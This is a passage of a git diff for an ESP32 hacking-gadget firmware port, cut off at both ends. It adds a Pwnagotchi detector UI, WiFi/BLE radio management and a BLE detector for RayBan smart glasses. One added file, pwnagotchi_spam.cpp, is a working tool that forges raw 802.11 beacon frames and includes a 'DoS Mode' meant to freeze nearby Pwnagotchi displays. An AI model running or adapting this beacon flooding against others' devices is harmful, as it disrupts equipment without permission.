LOW && + !pwnagotchi.empty()) { + isDetailView = true; + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && digitalRead(BTN_SELECT) == LOW && + !pwnagotchi.empty()) { + isLocateMode = true; + locateTargetName = pwnagotchi[currentIndex].name; + lastButtonPress = now; + needsRedraw = true; + } else if (isLocateMode && digitalRead(BTN_BACK) == LOW) { + isLocateMode = false; + locateTargetName = ""; + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && digitalRead(BTN_BACK) == LOW) { + isDetailView = false; + lastButtonPress = now; + needsRedraw = true; + } + } + + if (pwnagotchi.empty()) { + if (currentIndex != 0 || listStartIndex != 0 || isDetailView || isLocateMode) { + needsRedraw = true; + } + currentIndex = 0; + listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + locateTargetName = ""; + } + + if (lastPwnagotchiSize != (int)pwnagotchi.size()) { + lastPwnagotchiSize = (int)pwnagotchi.size(); + needsRedraw = true; + } + if (lastCurrentIndex != currentIndex) { + lastCurrentIndex = currentIndex; + needsRedraw = true; + } + if (lastListStartIndex != listStartIndex) { + lastListStartIndex = listStartIndex; + needsRedraw = true; + } + if (lastIsDetailView != isDetailView) { + lastIsDetailView = isDetailView; + needsRedraw = true; + } + if (lastIsLocateMode != isLocateMode) { + lastIsLocateMode = isLocateMode; + needsRedraw = true; + } + + if (isLocateMode && now - lastPeriodicUpdate >= periodicUpdateInterval) { + lastPeriodicUpdate = now; + needsRedraw = true; + } + + if (!needsRedraw) { + return; + } + + needsRedraw = false; + u8g2.clearBuffer(); + + if (pwnagotchi.empty()) { + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "Pwnagotchis..."); + u8g2.drawStr(0, 45, "Press SEL to stop"); + } else if (isLocateMode) { + if (currentIndex >= 0 && currentIndex < (int)pwnagotchi.size()) { + auto &e = pwnagotchi[currentIndex]; + u8g2.setFont(u8g2_font_5x8_tr); + char buf[32]; + + String displayName = e.name.length() > 0 ? e.name : "Unknown"; + char maskedName[33]; + maskName(displayName.c_str(), maskedName, sizeof(maskedName) - 1); + snprintf(buf, sizeof(buf), "%.21s", maskedName); + u8g2.drawStr(0, 8, buf); + + String verLine = "Ver: " + (e.version.length() > 0 ? e.version : "?"); + u8g2.drawStr(0, 16, verLine.c_str()); + + u8g2.setFont(u8g2_font_7x13B_tr); + snprintf(buf, sizeof(buf), "RSSI: %d dBm", e.rssi); + u8g2.drawStr(0, 28, buf); + + u8g2.setFont(u8g2_font_5x8_tr); + int rssiClamped = constrain(e.rssi, -100, -40); + int signalLevel = map(rssiClamped, -100, -40, 0, 5); + + const char* quality; + if (signalLevel >= 5) quality = "EXCELLENT"; + else if (signalLevel >= 4) quality = "VERY GOOD"; + else if (signalLevel >= 3) quality = "GOOD"; + else if (signalLevel >= 2) quality = "FAIR"; + else if (signalLevel >= 1) quality = "WEAK"; + else quality = "VERY WEAK"; + + snprintf(buf, sizeof(buf), "Signal: %s", quality); + u8g2.drawStr(0, 38, buf); + + int barWidth = 12; + int barSpacing = 5; + int totalWidth = (barWidth * 5) + (barSpacing * 4); + int startX = (128 - totalWidth) / 2; + int baseY = 54; + + for (int i = 0; i < 5; i++) { + int barHeight = 8 + (i * 2); + int x = startX + (i * (barWidth + barSpacing)); + int y = baseY - barHeight; + + if (i < signalLevel) { + u8g2.drawBox(x, y, barWidth, barHeight); + } else { + u8g2.drawFrame(x, y, barWidth, barHeight); + } + } + + u8g2.drawStr(0, 62, "L=Back SEL=Exit"); + } else { + isLocateMode = false; + } + } else if (isDetailView) { + if (currentIndex >= 0 && currentIndex < (int)pwnagotchi.size()) { + auto &e = pwnagotchi[currentIndex]; + u8g2.setFont(u8g2_font_5x8_tr); + + String displayName = e.name.length() > 0 ? e.name : "Unknown"; + char maskedName[33]; + maskName(displayName.c_str(), maskedName, sizeof(maskedName) - 1); + String nameLine = "Name: " + String(maskedName); + u8g2.drawStr(0, 10, nameLine.c_str()); + + String verLine = "Ver: " + (e.version.length() > 0 ? e.version : "Unknown"); + u8g2.drawStr(0, 20, verLine.c_str()); + + String pwndLine = "Pwnd: " + String(e.pwnd); + u8g2.drawStr(0, 30, pwndLine.c_str()); + + String deauthLine = "Deauth: " + String(e.deauth ? "Yes" : "No"); + u8g2.drawStr(0, 40, deauthLine.c_str()); + + String uptimeLine = "Uptime: " + String(e.uptime / 60) + "min"; + u8g2.drawStr(0, 50, uptimeLine.c_str()); + + u8g2.drawStr(0, 60, "L=Back SEL=Exit R=Locate"); + } else { + isDetailView = false; + } + } else { + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Pwnagotchi list:"); + for (int i = 0; i < 5; ++i) { + int idx = listStartIndex + i; + if (idx >= (int)pwnagotchi.size()) + break; + auto &e = pwnagotchi[idx]; + if (idx == currentIndex) + u8g2.drawStr(0, 20 + i * 10, ">"); + + String displayName = e.name.length() > 0 ? e.name : "Unknown"; + char maskedName[33]; + maskName(displayName.c_str(), maskedName, sizeof(maskedName) - 1); + String line = String(maskedName).substring(0, 7) + " | RSSI " + String(e.rssi); + u8g2.drawStr(10, 20 + i * 10, line.c_str()); + } + } + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} diff --git a/cyd-port/src/pwnagotchi_spam.cpp b/cyd-port/src/pwnagotchi_spam.cpp new file mode 100644 index 0000000..6b22168 --- /dev/null +++ b/cyd-port/src/pwnagotchi_spam.cpp @@ -0,0 +1,324 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/pwnagotchi_spam.h" +#include "../include/radio_manager.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include "esp_wifi.h" +#include "esp_event.h" +#include + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +static bool spamActive = false; +static unsigned long lastBeacon = 0; +static unsigned long beaconsSent = 0; +static unsigned long startTime = 0; +static int currentFaceIndex = 0; +static int currentNameIndex = 0; +static int currentChannel = 0; +static bool wifiInitialized = false; + +enum SpamMode { NORMAL_MODE, RANDOM_MODE, DOS_MODE }; +static SpamMode currentMode = NORMAL_MODE; + +const uint8_t channels[] = {1, 6, 11}; +const int numChannels = sizeof(channels) / sizeof(channels[0]); + +// Beacon frame template +const uint8_t beacon_frame_template[] = { + 0x80, 0x00, // Frame control + 0x00, 0x00, // Duration + 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination address (broadcast) + 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, // Source address (SA) + 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, // BSSID + 0x00, 0x00, // Sequence/fragment number + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Timestamp + 0x64, 0x00, // Beacon interval + 0x11, 0x04 // Capability information +}; + +const char* faces[] = { + "(◕‿‿◕)", + "(⌐■_■)", + "(╯°□°)╯", + "(ಠ_ಠ)", + "(¬‿¬)", + "( ͡° ͜ʖ ͡°)", + "(☉_☉)", + "(◉_◉)", + "(≖‿≖)", + "(◔‿◔)", + "(UwU)", + "(>_<)", + "nyanBOX!~" +}; + +// Pwnagotchi names +const char* names[] = { + "nyanBOX!~", + "nyandevices.com", + "jbohack was here", + "zRCrackiin was here", + "Sub to TalkingSasquach", + "Don't be a skid", + "FBI surveillance van", + "Waifu.AI has stopped", + "Hack the planet!", + "Trust no one", + "Definitely not a robot" +}; + +const int numFaces = sizeof(faces) / sizeof(faces[0]); +const int numNames = sizeof(names) / sizeof(names[0]); + +const char randomChars[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!@#$%^&*()_+-=[]{}|;:,.<>?"; +const int numRandomChars = sizeof(randomChars) - 1; + +static bool needsRedraw = true; +static bool lastSpamActive = false; +static SpamMode lastMode = NORMAL_MODE; +static unsigned long lastBeaconsSent = 0; +static unsigned long lastPeriodicUpdate = 0; +const unsigned long periodicUpdateInterval = 1000; + +// DoS faces (freeze screen) +const char* dosFace = "■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■"; +const char* dosName = "■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■"; + +String generateRandomIdentity() { + const char hex_chars[] = "0123456789abcdef"; + String identity = ""; + + for (int i = 0; i < 64; ++i) { + identity += hex_chars[random(0, 16)]; + } + + return identity; +} + +String generateRandomSessionId() { + const char hex_chars[] = "0123456789abcdef"; + String sessionId = ""; + + for (int i = 0; i < 6; ++i) { + if (i > 0) sessionId += ":"; + sessionId += hex_chars[random(0, 16)]; + sessionId += hex_chars[random(0, 16)]; + } + + return sessionId; +} + +String generateRandomVersion() { + int major = random(1, 3); + int minor = random(0, 15); + int patch = random(0, 10); + + return String(major) + "." + String(minor) + "." + String(patch); +} + +String generateRandomName() { + int nameLength = random(6, 13); + String randomName = ""; + + for (int i = 0; i < nameLength; i++) { + randomName += randomChars[random(0, numRandomChars)]; + } + + return randomName; +} + +String generateRandomGridVersion() { + int major = 1; + int minor = random(8, 15); + int patch = random(0, 5); + + return String(major) + "." + String(minor) + "." + String(patch); +} + +void sendPwnagotchiBeacon(uint8_t channel, const char* face, const char* name) { + JsonDocument json; + json["pal"] = true; + json["name"] = name; + json["face"] = face; + json["epoch"] = 1; + json["grid_version"] = generateRandomGridVersion(); + json["identity"] = generateRandomIdentity(); + json["pwnd_run"] = random(0, 100); + json["pwnd_tot"] = random(0, 1000); + json["session_id"] = generateRandomSessionId(); + json["timestamp"] = millis(); + json["uptime"] = millis() - startTime; + json["version"] = generateRandomVersion(); + json["policy"]["advertise"] = true; + json["policy"]["bond_encounters_factor"] = 20000; + json["policy"]["bored_num_epochs"] = 0; + json["policy"]["sad_num_epochs"] = 0; + json["policy"]["excited_num_epochs"] = 9999; + + String json_str; + serializeJson(json, json_str); + + uint16_t json_len = json_str.length(); + uint8_t header_len = 2 + ((json_len / 255) * 2); + uint8_t beacon_frame[sizeof(beacon_frame_template) + json_len + header_len]; + memcpy(beacon_frame, beacon_frame_template, sizeof(beacon_frame_template)); + + int frame_byte = sizeof(beacon_frame_template); + for (int i = 0; i < json_len; i++) { + if (i == 0 || i % 255 == 0) { + beacon_frame[frame_byte++] = 0xde; + uint8_t payload_len = 255; + if (json_len - i < 255) { + payload_len = json_len - i; + } + beacon_frame[frame_byte++] = payload_len; + } + beacon_frame[frame_byte++] = (uint8_t)json_str[i]; + } + + esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE); + esp_wifi_80211_tx(WIFI_IF_AP, beacon_frame, sizeof(beacon_frame), false); + beaconsSent++; +} + +void pwnagotchiSpamSetup() { + initWiFi(WIFI_MODE_AP); + + spamActive = false; + beaconsSent = 0; + startTime = millis(); + currentFaceIndex = 0; + currentNameIndex = 0; + currentChannel = 0; + currentMode = NORMAL_MODE; + + needsRedraw = true; + lastSpamActive = false; + lastMode = NORMAL_MODE; + lastBeaconsSent = 0; + lastPeriodicUpdate = 0; +} + +void pwnagotchiSpamLoop() { + unsigned long now = millis(); + + if (digitalRead(BUTTON_PIN_UP) == LOW) { + spamActive = !spamActive; + needsRedraw = true; + delay(200); + } + + if (digitalRead(BUTTON_PIN_DOWN) == LOW) { + currentMode = static_cast((currentMode + 1) % 3); + needsRedraw = true; + delay(200); + } + + unsigned long spamDelay = 200; + + if (spamActive && (now - lastBeacon >= spamDelay)) { + switch (currentMode) { + case NORMAL_MODE: + sendPwnagotchiBeacon(channels[currentChannel], + faces[currentFaceIndex], + names[currentNameIndex]); + currentFaceIndex = (currentFaceIndex + 1) % numFaces; + currentNameIndex = (currentNameIndex + 1) % numNames; + break; + + case RANDOM_MODE: + { + String randomName = generateRandomName(); + sendPwnagotchiBeacon(channels[currentChannel], + faces[random(numFaces)], + randomName.c_str()); + } + break; + + case DOS_MODE: + sendPwnagotchiBeacon(channels[currentChannel], dosFace, dosName); + break; + } + + currentChannel = (currentChannel + 1) % numChannels; + lastBeacon = now; + } + + if (lastSpamActive != spamActive) { + lastSpamActive = spamActive; + needsRedraw = true; + } + if (lastMode != currentMode) { + lastMode = currentMode; + needsRedraw = true; + } + if (lastBeaconsSent != beaconsSent) { + lastBeaconsSent = beaconsSent; + needsRedraw = true; + } + + if (spamActive && now - lastPeriodicUpdate >= periodicUpdateInterval) { + lastPeriodicUpdate = now; + needsRedraw = true; + } + + if (!needsRedraw) { + delay(50); + return; + } + + needsRedraw = false; + u8g2.clearBuffer(); + + u8g2.setFont(u8g2_font_helvB10_tr); + const char* title = "Pwnagotchi Spam"; + int titleWidth = u8g2.getUTF8Width(title); + u8g2.drawStr((128 - titleWidth) / 2, 12, title); + u8g2.drawHLine(10, 15, 108); + + u8g2.setFont(u8g2_font_helvB08_tr); + const char* status = spamActive ? "ACTIVE" : "STOPPED"; + int statusWidth = u8g2.getUTF8Width(status); + u8g2.drawStr((128 - statusWidth) / 2, 26, status); + + u8g2.setFont(u8g2_font_helvR08_tr); + const char* mode; + switch (currentMode) { + case NORMAL_MODE: mode = "Normal"; break; + case RANDOM_MODE: mode = "Random"; break; + case DOS_MODE: mode = "DoS Mode"; break; + } + int modeWidth = u8g2.getUTF8Width(mode); + u8g2.drawStr((128 - modeWidth) / 2, 36, mode); + + char statsText[32]; + snprintf(statsText, sizeof(statsText), "Sent: %lu", beaconsSent); + int statsWidth = u8g2.getUTF8Width(statsText); + u8g2.drawStr((128 - statsWidth) / 2, 46, statsText); + + u8g2.setFont(u8g2_font_4x6_tr); + const char* line1 = "UP=Start/Stop DOWN=Mode"; + const char* line2 = "SEL=Exit"; + + int line1Width = u8g2.getUTF8Width(line1); + int line2Width = u8g2.getUTF8Width(line2); + + u8g2.drawStr((128 - line1Width) / 2, 56, line1); + u8g2.drawStr((128 - line2Width) / 2, 64, line2); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + + delay(50); +} \ No newline at end of file diff --git a/cyd-port/src/radio_manager.cpp b/cyd-port/src/radio_manager.cpp new file mode 100644 index 0000000..9e7517f --- /dev/null +++ b/cyd-port/src/radio_manager.cpp @@ -0,0 +1,117 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2026 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/radio_manager.h" + +#include "esp_wifi.h" +#include "esp_netif.h" +#include "esp_bt.h" +#include "esp_bt_main.h" +#include "esp_gap_ble_api.h" +#include +#include + +extern RF24 radios[3]; + +static bool classicBtMemReleased = false; + +bool initBLE() { + if (esp_bt_controller_get_status() == ESP_BT_CONTROLLER_STATUS_IDLE) { + if (!classicBtMemReleased) { + esp_bt_mem_release(ESP_BT_MODE_CLASSIC_BT); // Release Classic Bluetooth memory to free up resources for BLE operations + classicBtMemReleased = true; + } + } + + if (!btStarted()) { + btStart(); + delay(50); + } + + esp_bluedroid_status_t bt_state = esp_bluedroid_get_status(); + if (bt_state == ESP_BLUEDROID_STATUS_UNINITIALIZED) { + if (esp_bluedroid_init() != ESP_OK) return false; + delay(50); + } + + bt_state = esp_bluedroid_get_status(); + if (bt_state != ESP_BLUEDROID_STATUS_ENABLED) { + if (esp_bluedroid_enable() != ESP_OK) return false; + delay(50); + } + + return true; +} + +void cleanupBLE() { + esp_ble_gap_stop_scanning(); + esp_ble_gap_stop_advertising(); + delay(50); + + esp_bluedroid_status_t bt_state = esp_bluedroid_get_status(); + if (bt_state == ESP_BLUEDROID_STATUS_ENABLED) { + esp_bluedroid_disable(); + delay(50); + } + + if (esp_bluedroid_get_status() != ESP_BLUEDROID_STATUS_UNINITIALIZED) { + esp_bluedroid_deinit(); + delay(50); + } + + if (btStarted()) { + btStop(); + delay(50); + } +} + +bool initWiFi(wifi_mode_t mode) { + wifi_mode_t currentMode; + if (esp_wifi_get_mode(¤tMode) != ESP_OK) { + wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); + if (esp_wifi_init(&cfg) != ESP_OK) return false; + } + + esp_wifi_set_storage(WIFI_STORAGE_RAM); + esp_wifi_set_mode(mode); + if (esp_wifi_start() != ESP_OK) return false; + + return true; +} + +void cleanupRadio() { + for (auto &r : radios) r.powerDown(); + cleanupWiFi(); + cleanupBLE(); +} + +void cleanupWiFi() { + wifi_mode_t mode; + if (esp_wifi_get_mode(&mode) == ESP_OK) { + esp_wifi_set_promiscuous(false); + esp_wifi_stop(); + delay(50); + esp_wifi_deinit(); + delay(100); + } + + esp_netif_t* sta_netif = esp_netif_get_handle_from_ifkey("WIFI_STA_DEF"); + if (sta_netif != NULL) { + esp_netif_destroy(sta_netif); + } + + esp_netif_t* ap_netif = esp_netif_get_handle_from_ifkey("WIFI_AP_DEF"); + if (ap_netif != NULL) { + esp_netif_destroy(ap_netif); + } + + delay(100); +} \ No newline at end of file diff --git a/cyd-port/src/rayban_detector.cpp b/cyd-port/src/rayban_detector.cpp new file mode 100644 index 0000000..9e531b1 --- /dev/null +++ b/cyd-port/src/rayban_detector.cpp @@ -0,0 +1,585 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/rayban_detector.h" +#include "../include/radio_manager.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include "../include/setting.h" +#include "esp_bt.h" +#include "esp_gap_ble_api.h" +#include "esp_bt_main.h" +#include +#include + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +namespace { + +#define BTN_UP BUTTON_PIN_UP +#define BTN_DOWN BUTTON_PIN_DOWN +#define BTN_RIGHT BUTTON_PIN_RIGHT +#define BTN_BACK BUTTON_PIN_LEFT +#define BTN_CENTER BUTTON_PIN_CENTER + +struct RayBanDeviceData { + char name[32]; + char address[18]; + int8_t rssi; + unsigned long lastSeen; + bool isRayBan; +}; + +static std::vector raybanDevices; + +const int MAX_DEVICES = 100; + +int currentIndex = 0; +int listStartIndex = 0; +bool isDetailView = false; +bool isLocateMode = false; +char locateTargetAddress[18] = {0}; +unsigned long lastButtonPress = 0; +const unsigned long debounceTime = 200; + +static bool needsRedraw = true; +static int lastDeviceCount = 0; +static unsigned long lastLocateUpdate = 0; +const unsigned long locateUpdateInterval = 1000; +static unsigned long lastCountdownUpdate = 0; +const unsigned long countdownUpdateInterval = 1000; +static bool wasScanning = false; + +static bool isScanning = false; +static unsigned long lastScanTime = 0; +const unsigned long scanInterval = 30000; +const unsigned long scanDuration = 8; + +static bool bleInitialized = false; +static bool scanCompleted = false; + +static esp_ble_scan_params_t ble_scan_params = { + .scan_type = BLE_SCAN_TYPE_ACTIVE, + .own_addr_type = BLE_ADDR_TYPE_PUBLIC, + .scan_filter_policy = BLE_SCAN_FILTER_ALLOW_ALL, + .scan_interval = 0x100, + .scan_window = 0xA0, + .scan_duplicate = BLE_SCAN_DUPLICATE_DISABLE +}; + +static void bda_to_string(uint8_t *bda, char *str, size_t size) { + if (bda == NULL || str == NULL || size < 18) { + return; + } + snprintf(str, size, "%02x:%02x:%02x:%02x:%02x:%02x", + bda[0], bda[1], bda[2], bda[3], bda[4], bda[5]); +} + +bool hasRayBanServiceUUID(uint8_t *adv_data, uint8_t adv_data_len) { + uint8_t uuid16_len = 0; + uint8_t *uuid16_data = esp_ble_resolve_adv_data(adv_data, ESP_BLE_AD_TYPE_16SRV_CMPL, &uuid16_len); + + if (uuid16_data != NULL && uuid16_len >= 2) { + for (int i = 0; i + 2 <= uuid16_len; i += 2) { + uint16_t uuid16 = uuid16_data[i] | (uuid16_data[i + 1] << 8); + if (uuid16 == 0xFD5F) { + return true; + } + } + } + + uuid16_len = 0; + uuid16_data = esp_ble_resolve_adv_data(adv_data, ESP_BLE_AD_TYPE_16SRV_PART, &uuid16_len); + + if (uuid16_data != NULL && uuid16_len >= 2) { + for (int i = 0; i + 2 <= uuid16_len; i += 2) { + uint16_t uuid16 = uuid16_data[i] | (uuid16_data[i + 1] << 8); + if (uuid16 == 0xFD5F) { + return true; + } + } + } + + return false; +} + +static void process_scan_result(esp_ble_gap_cb_param_t *scan_result) { + uint8_t *bda = scan_result->scan_rst.bda; + char addrStr[18]; + bda_to_string(bda, addrStr, sizeof(addrStr)); + + if (strlen(addrStr) < 12) return; + + unsigned long now = millis(); + for (size_t i = 0; i < raybanDevices.size(); i++) { + if (strcmp(raybanDevices[i].address, addrStr) == 0) { + raybanDevices[i].rssi = scan_result->scan_rst.rssi; + raybanDevices[i].lastSeen = now; + + uint8_t adv_name_len = 0; + uint8_t *adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_CMPL, + &adv_name_len); + + if (adv_name == NULL) { + adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_SHORT, + &adv_name_len); + } + + if (adv_name != NULL && adv_name_len > 0 && adv_name_len < 32) { + memcpy(raybanDevices[i].name, adv_name, adv_name_len); + raybanDevices[i].name[adv_name_len] = '\0'; + } + + if (!isLocateMode) { + std::sort(raybanDevices.begin(), raybanDevices.end(), + [](const RayBanDeviceData &a, const RayBanDeviceData &b) { + return a.rssi > b.rssi; + }); + } + return; + } + } + + bool isRayBanDevice = hasRayBanServiceUUID(scan_result->scan_rst.ble_adv, + scan_result->scan_rst.adv_data_len); + + if (!isRayBanDevice) { + return; + } + + if (isLocateMode && strlen(locateTargetAddress) > 0) { + if (strcmp(addrStr, locateTargetAddress) != 0) { + return; + } + } else if (raybanDevices.size() >= MAX_DEVICES) { + return; + } + + if (isLocateMode) return; + + RayBanDeviceData newDev = {}; + strncpy(newDev.address, addrStr, 17); + newDev.address[17] = '\0'; + newDev.rssi = scan_result->scan_rst.rssi; + newDev.lastSeen = now; + newDev.isRayBan = true; + strcpy(newDev.name, "RayBan Device"); + + uint8_t adv_name_len = 0; + uint8_t *adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_CMPL, + &adv_name_len); + + if (adv_name == NULL) { + adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_SHORT, + &adv_name_len); + } + + if (adv_name != NULL && adv_name_len > 0 && adv_name_len < 32) { + memcpy(newDev.name, adv_name, adv_name_len); + newDev.name[adv_name_len] = '\0'; + } + + raybanDevices.push_back(newDev); + + std::sort(raybanDevices.begin(), raybanDevices.end(), + [](const RayBanDeviceData &a, const RayBanDeviceData &b) { + return a.rssi > b.rssi; + }); + + needsRedraw = true; +} + +static void esp_gap_cb(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param) { + switch (event) { + case ESP_GAP_BLE_SCAN_PARAM_SET_COMPLETE_EVT: + if (param->scan_param_cmpl.status == ESP_BT_STATUS_SUCCESS) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + lastScanTime = millis(); + } + break; + case ESP_GAP_BLE_SCAN_START_COMPLETE_EVT: + if (param->scan_start_cmpl.status != ESP_BT_STATUS_SUCCESS) { + isScanning = false; + } + break; + case ESP_GAP_BLE_SCAN_RESULT_EVT: + switch (param->scan_rst.search_evt) { + case ESP_GAP_SEARCH_INQ_RES_EVT: + process_scan_result(param); + break; + case ESP_GAP_SEARCH_INQ_CMPL_EVT: + lastScanTime = millis(); + scanCompleted = true; + needsRedraw = true; + if (isLocateMode) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + } else { + isScanning = false; + } + break; + default: + break; + } + break; + case ESP_GAP_BLE_SCAN_STOP_COMPLETE_EVT: + isScanning = false; + scanCompleted = true; + break; + default: + break; + } +} + +} // Anonymous namespace + +void raybanDetectorSetup() { + raybanDevices.clear(); + raybanDevices.reserve(MAX_DEVICES); + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + lastButtonPress = 0; + isScanning = true; + scanCompleted = false; + needsRedraw = true; + lastDeviceCount = 0; + lastLocateUpdate = 0; + lastCountdownUpdate = 0; + wasScanning = false; + + u8g2.begin(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.clearBuffer(); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "RayBan devices..."); + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", 0, MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 60, "Press SEL to exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + + initBLE(); + + esp_ble_gap_register_callback(esp_gap_cb); + esp_ble_gap_set_scan_params(&ble_scan_params); + + bleInitialized = true; + + pinMode(BTN_UP, INPUT_PULLUP); + pinMode(BTN_DOWN, INPUT_PULLUP); + pinMode(BTN_RIGHT, INPUT_PULLUP); + pinMode(BTN_BACK, INPUT_PULLUP); + pinMode(BTN_CENTER, INPUT_PULLUP); +} + +void raybanDetectorLoop() { + if (!bleInitialized) return; + + unsigned long now = millis(); + + if (isScanning && !isLocateMode) { + if (lastDeviceCount != (int)raybanDevices.size() || wasScanning != isScanning) { + lastDeviceCount = (int)raybanDevices.size(); + wasScanning = isScanning; + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "RayBan devices..."); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", (int)raybanDevices.size(), MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 42; + + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + int fillWidth = (raybanDevices.size() * (barWidth - 4)) / MAX_DEVICES; + if (fillWidth > 0) { + u8g2.drawBox(barX + 2, barY + 2, fillWidth, barHeight - 4); + } + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + } + return; + } + + if (wasScanning != isScanning) { + wasScanning = isScanning; + needsRedraw = true; + } + + unsigned long effectiveScanInterval = scanInterval; + uint32_t effectiveScanDuration = scanDuration; + + if (raybanDevices.empty() && isContinuousScanEnabled()) { + effectiveScanInterval = 500; + effectiveScanDuration = 3; + } + + if (!isScanning && scanCompleted && now - lastScanTime > effectiveScanInterval && + !isDetailView && !isLocateMode) { + if (raybanDevices.size() >= MAX_DEVICES) { + std::sort(raybanDevices.begin(), raybanDevices.end(), + [](const RayBanDeviceData &a, const RayBanDeviceData &b) { + if (a.lastSeen != b.lastSeen) { + return a.lastSeen < b.lastSeen; + } + return a.rssi < b.rssi; + }); + + int devicesToRemove = MAX_DEVICES / 4; + if (devicesToRemove > 0) { + raybanDevices.erase(raybanDevices.begin(), + raybanDevices.begin() + devicesToRemove); + } + + currentIndex = listStartIndex = 0; + } + + scanCompleted = false; + isScanning = true; + esp_ble_gap_start_scanning(effectiveScanDuration); + lastScanTime = now; + return; + } + + if (scanCompleted && now - lastButtonPress > debounceTime) { + if (!isDetailView && !isLocateMode && digitalRead(BTN_UP) == LOW && currentIndex > 0) { + --currentIndex; + if (currentIndex < listStartIndex) + --listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_DOWN) == LOW && + currentIndex < (int)raybanDevices.size() - 1) { + ++currentIndex; + if (currentIndex >= listStartIndex + 5) + ++listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_RIGHT) == LOW && + !raybanDevices.empty()) { + isDetailView = true; + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && digitalRead(BTN_RIGHT) == LOW && + !raybanDevices.empty()) { + isLocateMode = true; + strncpy(locateTargetAddress, raybanDevices[currentIndex].address, sizeof(locateTargetAddress) - 1); + locateTargetAddress[sizeof(locateTargetAddress) - 1] = '\0'; + if (!isScanning) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + } + lastButtonPress = now; + lastLocateUpdate = now; + needsRedraw = true; + } else if (isLocateMode && digitalRead(BTN_BACK) == LOW) { + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && digitalRead(BTN_BACK) == LOW) { + isDetailView = false; + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } + } + + if (raybanDevices.empty()) { + if (currentIndex != 0 || isDetailView || isLocateMode) { + needsRedraw = true; + } + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + } else { + currentIndex = constrain(currentIndex, 0, (int)raybanDevices.size() - 1); + listStartIndex = + constrain(listStartIndex, 0, max(0, (int)raybanDevices.size() - 5)); + } + + if (isDetailView && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (isLocateMode && now - lastLocateUpdate 